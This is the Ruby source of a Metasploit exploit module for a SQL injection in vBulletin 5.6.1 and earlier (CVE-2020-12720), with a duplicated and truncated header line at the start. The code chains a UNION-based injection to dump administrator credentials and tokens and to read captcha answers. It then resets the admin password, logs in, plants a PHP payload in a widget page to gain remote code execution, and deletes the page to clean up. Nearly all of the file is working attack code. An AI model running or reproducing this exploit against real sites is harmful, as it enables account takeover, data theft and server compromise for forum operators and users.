##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exp ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::AutoCheck

HttpFingerprint = { method: 'GET', uri: '/', pattern: [/vBulletin.version = '5.+'/] }

def initialize(info = {})
super(
update_info(
info,
'Name' => 'vBulletin /ajax/api/content_infraction/getIndexableContent nodeid Parameter SQL Injection',
'Description' => %q{
This module exploits a SQL injection vulnerability found in vBulletin 5.6.1 and earlier
This module uses the getIndexableContent vulnerability to reset the administrators password,
it then uses the administrators login information to achieve RCE on the target. This module
has been tested successfully on VBulletin Version 5.6.1 on Ubuntu Linux distribution.
},
'License' => MSF_LICENSE,
'Author' => [
'Charles Fol <folcharles[at]gmail.com>', # (@cfreal_) CVE
'Zenofex <zenofex[at]exploitee.rs>', # (@zenofex) PoC and Metasploit module
],
'References' => [
['CVE', '2020-12720'],
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [
['Automatic', {}]
],
'Privileged' => false,
'DisclosureDate' => '2020-03-12',
'DefaultTarget' => 0
)
)
register_options([
OptString.new('TARGETURI', [true, 'Path to vBulletin', '/']),
OptInt.new('NODE', [false, 'Valid Node ID']),
OptInt.new('MINNODE', [true, 'Valid Node ID', 1]),
OptInt.new('MAXNODE', [true, 'Valid Node ID', 200]),
OptBool.new('MANUALLOSTPASS', [false, 'true if an administrator lost password request has already been sent.', false])
])
end

# Performs SQLi attack
def do_sqli(node_id, tbl_prfx, field, table, condition)
where_cond = condition.nil? || condition == '' ? '' : "where #{condition}"
injection = " UNION ALL SELECT 0x2E,0x74,0x68,0x65,0x2E,0x65,0x78,0x70,0x6C,0x6F,0x69,0x74,0x65,0x65,0x72,0x73,0x2E,#{field},0x2E,0x7A,0x65,0x6E,0x6F,0x66,0x65,0x78 "
injection << "from #{tbl_prfx}#{table} #{where_cond}--"

print_status("Performing SQL injection on target to retrieve '#{field}' from '#{tbl_prfx}#{table}'.")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'content_infraction', 'getIndexableContent'),
'vars_post' => {
'nodeId[nodeid]' => "#{node_id}#{injection}"
}
})

return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['rawtext']

parsed_resp['rawtext']
end

# Gets human verification token
def get_hv_hash
print_status("Making request to '#{target_uri.path}/ajax/api/hv/generateToken' to retrieve HV token.")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'hv', 'generateToken'),
'vars_post' => {
'securitytoken' => 'guest'
}
})

return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['hash']

hv_hash = parsed_resp['hash']
print_good("Retrieved '#{hv_hash}' human verification token.")
hv_hash
end

# Gets the human verification (question based) answer
def get_hv_ques_answer(node_id, tbl_prfx, questionid)
print_status("Using HV token '#{questionid}' and SQLinjection to determine HV question answer.")
hv_answer = do_sqli(node_id, tbl_prfx, 'regex', 'hvquestion', "questionid = '#{questionid}'")

if questionid.nil?
return nil
end

print_good("Retrieved the answer '#{hv_answer}' (REGEX) to the HV question with id '#{questionid}'.")
hv_answer
end

# Gets the human verification (image based) answer
def get_hv_answer(node_id, tbl_prfx, hv_hash)
print_status("Using HV token '#{hv_hash}' and SQLinjection to determine HV answer.")
hv_answer = do_sqli(node_id, tbl_prfx, 'answer', 'humanverify', "hash = '#{hv_hash}'")

if hv_answer.nil?
return nil
end

print_good("Retrieved '#{hv_answer}' answer to HV token '#{hv_hash}'.")
hv_answer
end

# Gets the prefix to the SQL tables used in vbulletin install
def get_table_prefix(node_id)
print_status('Attempting to determine the vBulletin table prefix.')
table_name = do_sqli(node_id, '', 'table_name', 'information_schema.columns', "column_name='phrasegroup_cppermission'")

unless table_name && table_name.split('language').index
fail_with(Failure::Unknown, 'Could not determine the vBulletin table prefix.')
end

tbl_prefix = table_name.split('language')[0]
print_good("Sucessfully retrieved table to get prefix from #{table_name}.")

tbl_prefix
end

# Sends the request to begin forgot password request
def begin_reset_pass(admin_email, hv_answer, hv_hash, type = 'Image')
print_status("Making request to '#{target_uri.path}/auth/lostpw' to begin lost password process.")
if type == 'Question'
hv_field_name1 = 'humanverify[input]'
hv_field_name2 = 'humanverify[hash]'
elsif type == 'Recaptcha2'
hv_field_name1 = 'unused'
hv_field_name2 = 'humanverify[g-recaptcha-response]'
else
hv_field_name1 = 'humanverify[input]'
hv_field_name2 = 'humanverify[hash]'
end

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'auth', 'lostpw'),
'vars_post' => {
'email' => admin_email.to_s,
hv_field_name1.to_s => hv_answer.to_s,
hv_field_name2.to_s => hv_hash.to_s,
'securitytoken' => 'guest'
}
})

return false unless res && res.code == 200

parsed_resp = res.get_json_document

return false if parsed_resp['response'] && parsed_resp['response']['errors']

true
end

# Attempts to login to vBulletin install
def login(user, pass, type = '')
print_status("Making login request to '#{target_uri.path}/auth/ajax-login' with username: '#{user}' and password: '#{pass}'.")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'auth', 'ajax-login'),
'vars_post' => {
'logintype': type.to_s,
'username' => user.to_s,
'password' => pass.to_s,
'securitytoken' => 'guest'
}
})

return [nil, nil] unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['success']

print_good("Successfully logged in as #{user} #{type}.")

[res.get_cookies, parsed_resp['newtoken']]
end

# Gets an administrator's info from the database using SQLi
def get_admin_info(node_id, tbl_prefix)
uid = do_sqli(node_id, tbl_prefix, 'userid', 'administrator', nil)
username = do_sqli(node_id, tbl_prefix, 'username', 'user', "userid = '#{uid}'")
token = do_sqli(node_id, tbl_prefix, 'token', 'user', "userid = '#{uid}'")
email = do_sqli(node_id, tbl_prefix, 'email', 'user', "userid = '#{uid}'")

unless uid && username && token && email
return [nil, nil, nil, nil]
end

[uid, username, token, email]
end

# Activates vBulletin site builder
def activate_sitebuilder(pageid, nodeid, userid, sec_token, cookie_jar)
print_status("Making request to '#{target_uri.path}/ajax/activate-sitebuilder' to activate site-builder functionality.")

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'ajax', 'activate-sitebuilder'),
'cookie' => [cookie_jar],
'headers' => {
'X-Requested-With' => 'XMLHttpRequest'
},
'vars_post' => {
'pageid' => pageid.to_s,
'nodeid' => nodeid.to_s,
'userid' => userid.to_s,
'loadMenu' => 'false',
'isAjaxTemplateRender' => 'true',
'isAjaxTemplateRenderWithData' => 'true',
'securitytoken' => sec_token.to_s
}
})

return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && !parsed_resp['errors']

print_good('Successfully enabled site-builder functionality.')
true
end

# Creates new widget instance
def new_widget_instance(sec_token, cookie_jar)
print_status("Making request to '#{target_uri.path}/ajax/api/widget/saveNewWidgetInstance' to create new widget.")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'widget', 'saveNewWidgetInstance'),
'cookie' => [cookie_jar],
'vars_post' => {
'containerinstanceid' => '0',
'widgetid' => '23', # PHP widget type ID
'pagetemplateid' => '',
'securitytoken' => sec_token.to_s
}
})

return [nil, nil] unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['widgetinstanceid']

print_good('Created new widget instance.')

[parsed_resp['widgetinstanceid'], parsed_resp['pagetemplateid']]
end

# Saves a new widget to vBulletin.
def save_widget(pt_id, wi_id, payload, sec_token, cookie_jar)
print_status("Making request to '#{target_uri.path}/ajax/api/widget/saveAdminConfig' to add payload to widget.")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'widget', 'saveAdminConfig'),
'cookie' => [cookie_jar],
'vars_post' => {
'widgetid' => '23', # PHP widget type ID
'pagetemplateid' => pt_id.to_s,
'widgetinstanceid' => wi_id.to_s,
'data[widget_type]' => '',
'data[title]' => rand_text_alphanumeric(rand(6..16)),
'data[show_at_breakpoints][desktop]' => '1',
'data[show_at_breakpoints][small]' => '1',
'data[show_at_breakpoints][xsmall]' => '1',
'data[hide_title]' => '1',
'data[module_viewpermissions][key]' => 'show_all',
'data[code]' => payload.encoded.to_s,
'securitytoken' => sec_token.to_s
}
})

return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && !parsed_resp['errors']

print_good('Successfully added payload to widget.')

true
end

# Sends request to reset password using activation id.
def reset_password(admin_uid, act_id, new_pass)
print_status("Sending reset password request to '#{target_uri.path}/auth/reset-password'.")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'auth', 'reset-password'),
'headers' => {
'X-Requested-With' => 'XMLHttpRequest'
},
'vars_post' => {
'userid' => admin_uid.to_s,
'activationid' => act_id.to_s,
'new-password' => new_pass.to_s,
'new-password-confirm' => new_pass.to_s,
'securitytoken' => 'guest'
}
})

unless res && res.code == 200 && res.body.to_s =~ /Logging in/
return nil
end

print_good("User with userid '#{admin_uid}' successfully reset password to '#{new_pass}'.")

true
end

# Deletes a page in vbulletin
def delete_page(pageid, login_token, cookie_jar)
print_status("Sending delete page request to '#{target_uri.path}/ajax/api/page/delete'.")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'page', 'delete'),
'cookie' => [cookie_jar],
'headers' => {
'X-Requested-With' => 'XMLHttpRequest'
},
'vars_post' => {
'pageid' => pageid.to_s,
'securitytoken' => login_token.to_s
}
})

return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && !parsed_resp['errors']

print_good("Successfully deleted page with pageid: #{pageid}")

true
end

# Makes request to execute PHP payload.
def exec_payload(rest_url)
print_status("Sending request to '#{normalize_uri(target_uri.path, rest_url)}' to execute payload.")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, rest_url)
})

unless res && res.code == 200
return nil
end

print_good('Request made succesfully, payload should be executing now.')

true
end

# Fetches a human verification question based on hash.
def get_hv_question(hash)
print_status("Sending request to '#{target_uri.path}/ajax/api/hv/fetchHvQuestion' to get human verification question.")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'hv', 'fetchHvQuestion'),
'vars_post' => {
'hash' => hash.to_s
}
})

unless res && res.code == 200 && res.body.to_s !~ /"errors"/
return nil
end

res.body.to_s.tr('"', '')
end

# Saves a new page to the vBulletin install
def save_page(nodeid, userid, pt_id, payload_url, wi_id, session_info)
print_status("Sending request to '#{target_uri.path}/admin/savepage' to save new page at '#{payload_url}'.")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'savepage'),
'cookie' => [session_info[1]],
'vars_post' => {
'input[ishomeroute]' => '0',
'input[pageid]' => '0',
'input[nodeid]' => nodeid.to_s,
'input[userid]' => userid.to_s,
'input[screenlayoutid]' => '2',
'input[templatetitle]' => rand_text_alphanumeric(rand(5..10)),
'input[displaysections[0]]' => '[]',
'input[displaysections[1]]' => '[]',
'input[displaysections[2]]' => "[{"widgetId":"23","widgetInstanceId":"#{wi_id}"}]",
'input[displaysections[3]]' => '[]',
'input[pagetitle]' => rand_text_alphanumeric(rand(5..10)),
'input[resturl]' => payload_url.to_s,
'input[metadescription]' => rand_text_alphanumeric(rand(5..10)),
'input[pagetemplateid]' => pt_id.to_s,
'url' => normalize_uri(target_uri.path),
'securitytoken' => session_info[0].to_s
}
})

return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['success']

print_good("Page succesfully created and should be accessible at '#{normalize_uri(target_uri.path, payload_url.to_s)}'.")

parsed_resp['pageid']
end

# Gets human verification type (options: "Question" | "Image" | Recaptcha2 | "Disabled")
def get_hv_type

print_status("Sending request to '#{target_uri.path}/ajax/api/hv/fetchHvType' to get human verification type.")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'hv', 'fetchHvType')
})

unless res && res.code == 200
return nil
end

hv_type = res.body.to_s.tr('"', '')
print_good("Retrieved HV/captcha type of '#{hv_type}'.")

hv_type.to_s.tr("'", '')
end

# Brute force a nodeid (attack requires a valid nodeid)
def brute_force_node
min = datastore['MINNODE']
max = datastore['MAXNODE']

if min > max
print_error("MINNODE can't be major than MAXNODE.")
return nil
end

for node_id in min..max
if exists_node?(node_id)
return node_id
end
end

nil
end

# Checks if a nodeid is valid
def exists_node?(id)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'node', 'getNode'),
'vars_post' => {
'nodeid' => id.to_s
}
})

unless res && res.code == 200
return nil
end

return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && !parsed_resp['errors']

print_good("Sucessfully found node at id #{id}")
true
end

# Gets a node through BF or user supplied value
def get_node
if datastore['NODE'].nil? || datastore['NODE'] <= 0
print_status('Brute forcing to find a valid node id.')
return brute_force_node
end

print_status("Checking node id '#{datastore['NODE']}'.")
return datastore['NODE'] if exists_node?(datastore['NODE'])

nil
end

# Check function for exploit
def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'js', 'login.js')
})

return CheckCode::Unknown unless res && res.code == 200

return CheckCode::Safe if res.body.to_s =~ /vBulletin 5.6.1 Patch Level 1/

if res.body.to_s =~ /vBulletin ([.0-9]+)/
if Gem::Version.new(Regexp.last_match(1)) > Gem::Version.new('5.6.1')
return CheckCode::Safe
elsif Gem::Version.new(Regexp.last_match(1)) > Gem::Version.new('5.0.0')
return CheckCode::Appears
end

return CheckCode::Detected
end

CheckCode::Safe
end

# Performs all exploit functionality
def exploit
super

# Get node_id for requests
node_id = get_node
fail_with(Failure::Unknown, 'Could not get a valid node id for the vBulletin install.') unless node_id

# Get vBulletin table prefix
table_prfx = get_table_prefix(node_id)
fail_with(Failure::UnexpectedReply, 'Could not determine the table prefix for the vBulletin install.') unless table_prfx

# Get admin info (email, uid, token)
admin_uid, admin_user, admin_token, admin_email = get_admin_info(node_id, table_prfx)
unless admin_uid && admin_user && admin_token && admin_email
fail_with(Failure::UnexpectedReply, 'Could not retrieve administrator uid, username, email and token.')
end
print_good("Retrieved administrator uid: #{admin_uid} user: #{admin_user} email: #{admin_email} and password: #{admin_token}")

if !datastore['MANUALLOSTPASS']
# Determine HV type
hv_type = get_hv_type

fail_with(Failure::Unknown, 'Invalid human verification type, you must request a new password for the administrator manually (and set MANUALLOSTPASS).') unless ['Image', 'Question', 'Recaptcha2', 'Disabled'].include? hv_type

fail_with(Failure::Unknown, "Site uses Recaptcha2, retry with MANUALLOSTPASS enabled and after a lost password request to an administrator account (#{admin_email})") unless ['Recaptcha2', 'Disabled'].exclude? hv_type

# Generate HV token and get answer
if hv_type == 'Image' && hv_type != 'Disabled'
hv_hash = get_hv_hash
hv_answer = get_hv_answer(node_id, table_prfx, hv_hash)
fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification hash or answer.') unless hv_hash && hv_answer

elsif hv_type == 'Question' && hv_type != 'Disabled'
hv_hash = get_hv_hash
fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification question hash.') unless hv_hash

ques_id = get_hv_answer(node_id, table_prfx, hv_hash)
fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification question id.') unless ques_id

hv_question = get_hv_question(hv_hash)
hv_answer = get_hv_ques_answer(node_id, table_prfx, ques_id)
fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification question or answer.') unless hv_question && hv_answer

print_good("Retrieved the HV question '#{hv_question}' and answer '#{hv_answer}' (regex).")
end

# Make request to forget my password
brp_ret = begin_reset_pass(admin_email, hv_answer, hv_hash, hv_type)

# We fail here when the answer to the HV question contains a complex regex or is recaptcha2
fail_with(Failure::Unknown, 'Site requires captcha that we cannot bypass.') unless brp_ret
end

# Get Activation ID for forgot password request from DB
activation_id = do_sqli(node_id, table_prfx, 'activationid', 'useractivation', "userid = '#{admin_uid}'")
fail_with(Failure::UnexpectedReply, 'Could not retrieve activation id for forgot password request.') unless activation_id

# Make request setting new password
new_pass = rand_text_alphanumeric(rand(10..16))
rp_ret = reset_password(admin_uid, activation_id, new_pass)
fail_with(Failure::UnexpectedReply, "Error attempting to reset password with activation id '#{activation_id}'.") unless rp_ret

# Login to vBulletin
cookie_jar, login_token = login(admin_user, new_pass)
fail_with(Failure::NoAccess, "Could not login with username: '#{admin_user}' and password: '#{new_pass}'.") unless login_token

# Activate Site Builder (is this necessary?!)
actsb_ret = activate_sitebuilder(1, node_id, admin_uid, login_token, cookie_jar)
fail_with(Failure::UnexpectedReply, 'Could not activate site builder.') unless actsb_ret

# Login to vBulletin
cookie_jar, login_token = login(admin_user, new_pass, 'cplogin')
fail_with(Failure::NoAccess, "Could not login to CP with username: '#{admin_user}' and password: '#{new_pass}'.") unless login_token

# Create new widget
wi_id, pt_id = new_widget_instance(login_token, cookie_jar)
fail_with(Failure::UnexpectedReply, 'Could not create new widget instance.') unless wi_id && pt_id

# Save modifications to widget
sw_ret = save_widget(pt_id, wi_id, payload, login_token, cookie_jar)
fail_with(Failure::UnexpectedReply, 'Could not save payload modifications into widget instance.') unless sw_ret

# Add page with widget embedded
payload_url = rand_text_alphanumeric(rand(6..10))
session_info = [login_token, cookie_jar]
page_id = save_page(node_id, admin_uid, pt_id, payload_url, wi_id, session_info)
fail_with(Failure::UnexpectedReply, 'Could not save newly created page with malicious widget.') unless page_id

# Execute php payload
print_good("Executing PHP payload (#{payload.encoded.length} bytes) at #{normalize_uri(target_uri.path, payload_url)}.")
exec_payload(payload_url)

# Delete page with widget embedded within it
dp_ret = delete_page(page_id, login_token, cookie_jar)
print_bad('Could not delete page (cleanup phase).') unless dp_ret
end

end